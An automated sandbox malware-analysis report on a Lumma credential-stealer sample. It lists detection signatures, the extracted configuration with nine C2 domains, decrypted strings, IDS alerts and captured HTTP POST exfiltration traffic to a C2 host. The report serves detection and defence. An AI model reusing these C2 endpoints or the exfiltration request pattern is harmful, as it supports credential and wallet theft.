Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe
Analysis ID:	1545676
MD5:	21eb0b29554b832d677cea9e8a59b999
SHA1:	e6775ef09acc67f90e07205788a4165cbf8496ca
SHA256:	9aaa862061c903f3f5a1d509f0016a599b9152d02ea0365dfd3bbd9c5c147656
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe (PID: 4524 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe" MD5: 21EB0B29554B832D677CEA9E8A59B999)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["faulteyotk.site", "dilemmadu.site", "ponintnykqwm.shop", "authorisev.site", "goalyfeastz.site", "contemteny.site", "servicedny.site", "opposezmny.site", "seallysl.site"], "Build id": "g392sM--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:19:00.833281+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.140	443	TCP
2024-10-30T20:19:01.992255+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.140	443	TCP
2024-10-30T20:19:12.011244+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	104.21.33.140	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:19:00.833281+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.140	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:19:01.992255+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.140	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:19:00.362602+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.33.140	443	TCP
2024-10-30T20:19:01.534963+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.33.140	443	TCP
2024-10-30T20:19:02.848223+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.33.140	443	TCP
2024-10-30T20:19:04.171340+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.33.140	443	TCP
2024-10-30T20:19:05.718290+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.33.140	443	TCP
2024-10-30T20:19:07.384730+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.33.140	443	TCP
2024-10-30T20:19:09.139385+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.33.140	443	TCP
2024-10-30T20:19:11.600660+0100	2057086	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	104.21.33.140	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:18:59.693224+0100	2057085	1	Domain Observed Used for C2 Detected	192.168.2.5	57318	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:18:59.680936+0100	2057089	1	Domain Observed Used for C2 Detected	192.168.2.5	64649	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:18:59.667744+0100	2057093	1	Domain Observed Used for C2 Detected	192.168.2.5	56982	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T20:19:03.330518+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	104.21.33.140	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Avira: detected

Found malware configuration

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe.4524.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["faulteyotk.site", "dilemmadu.site", "ponintnykqwm.shop", "authorisev.site", "goalyfeastz.site", "contemteny.site", "servicedny.site", "opposezmny.site", "seallysl.site"], "Build id": "g392sM--"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

ReversingLabs: Detection: 72%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: servicedny.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: authorisev.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: faulteyotk.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dilemmadu.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: contemteny.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: goalyfeastz.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: opposezmny.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: seallysl.site
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ponintnykqwm.shop
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: g392sM--

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_003ED5AF CryptUnprotectData,

0_2_003ED5AF

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.140:443 -> 192.168.2.5:49711 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_0045B490 FindFirstFileW,

0_2_0045B490

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov byte ptr [ebx], dl	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_003E0130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	0_2_004141F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_0041137E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_004113D5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp eax	0_2_003ED5AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, eax	0_2_0040A97E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 7CDE1E50h	0_2_0040A97E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	0_2_0040A97E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov byte ptr [ebx], dl	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edx, ecx	0_2_003E011A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7DC9E524h]	0_2_003F41E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	0_2_00414380
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_0040C6D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_003EC6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_003EC8CE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+esi]	0_2_003DC960
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_003FCA72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_003FCA72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], 595A5B84h	0_2_00410E3A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	0_2_003FCEDA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx edi, word ptr [edx]	0_2_003F8F00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	0_2_003D1000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	0_2_003D1000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	0_2_003D12D5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov ecx, ebx	0_2_003F1333
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov ebx, eax	0_2_003DD500
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-67BC38F0h]	0_2_00411648
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+52B71DE2h]	0_2_00411720
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+ebx]	0_2_003D5820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edi, edx	0_2_003F1B40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_003FDE70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_003F5F00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_003FE400
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_003FE870
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov ecx, eax	0_2_003DE8DE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov ecx, eax	0_2_003DE996
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1817620Ch]	0_2_003FAA60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp eax	0_2_003FAA40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp al, 2Eh	0_2_003FAC04
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov edi, esi	0_2_003EECDE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp edx	0_2_00412EB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	0_2_00412EB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B62B8D10h	0_2_0040B170
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp edx	0_2_004131D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	0_2_004131D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp edx	0_2_004132C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	0_2_004132C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then jmp edx	0_2_004133B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	0_2_004133B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_003EF510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_003EF510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	0_2_00413720
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx-09A22FB6h]	0_2_0040F7E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2BB126CDh]	0_2_0040FAD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057089 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site) : 192.168.2.5:64649 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057085 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site) : 192.168.2.5:57318 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49710 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49711 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49706 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057093 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site) : 192.168.2.5:56982 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49709 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49708 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49705 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49707 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2057086 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI) : 192.168.2.5:49704 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.33.140:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 104.21.33.140:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: ponintnykqwm.shop
Source: Malware configuration extractor	URLs: authorisev.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: opposezmny.site
Source: Malware configuration extractor	URLs: seallysl.site

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12830Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15072Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20562Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1266Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551704Host: goalyfeastz.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: goalyfeastz.site

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: ponintnykqwm.shop
Source: global traffic	DNS traffic detected: DNS query: seallysl.site
Source: global traffic	DNS traffic detected: DNS query: opposezmny.site
